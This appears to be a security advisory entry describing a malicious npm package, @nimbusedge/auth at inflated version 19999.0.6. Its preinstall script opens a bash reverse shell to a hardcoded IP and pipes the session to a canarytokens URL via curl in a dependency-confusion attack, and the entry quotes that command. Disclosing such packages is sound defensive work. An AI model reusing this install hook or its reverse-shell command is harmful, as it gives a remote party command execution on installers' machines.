GCVE-110-OSM-2026-12041

package.json declares a `preinstall` lifecycle script that runs `bash -i >& /dev/tcp/147.93.157.202/8080` to open an interactive reverse shell to the hardcoded host 147.93.157.202 on port 8080, and pipes the shell session over plain HTTP to `http://canarytokens.com/terms/7dc94zmd3so67n5vbz5bxmt7v/contact.php` via `curl -X POST --data-binary @-`. The script executes automatically on `npm install`, giving the remote endpoint interactive command execution on the installer's machine and beaconing session output to the hardcoded URL. The package is published under the scoped name `@nimbusedge/auth` at version `19999.0.6` — an artificially inflated version consistent with the dependency-confusion resolution pattern, causing internal resolvers configured against the public registry to fetch this artifact in place of a private package of the same name. The mechanism is identical to install-time remote code execution and data exfiltration regardless of any self-labeling in the package metadata. ENTRY - Preinstall Script in package.json: ""preinstall": "bash -i >& /dev/tcp/147.93.157.202/8080 0>&1 | curl -s -m 5 -X PO..." DESTINATION - 2 fetched-payload (ipv4, domains) (values recorded in verified_iocs) ADDITIONAL FINDINGS - Very New NPM Publisher Account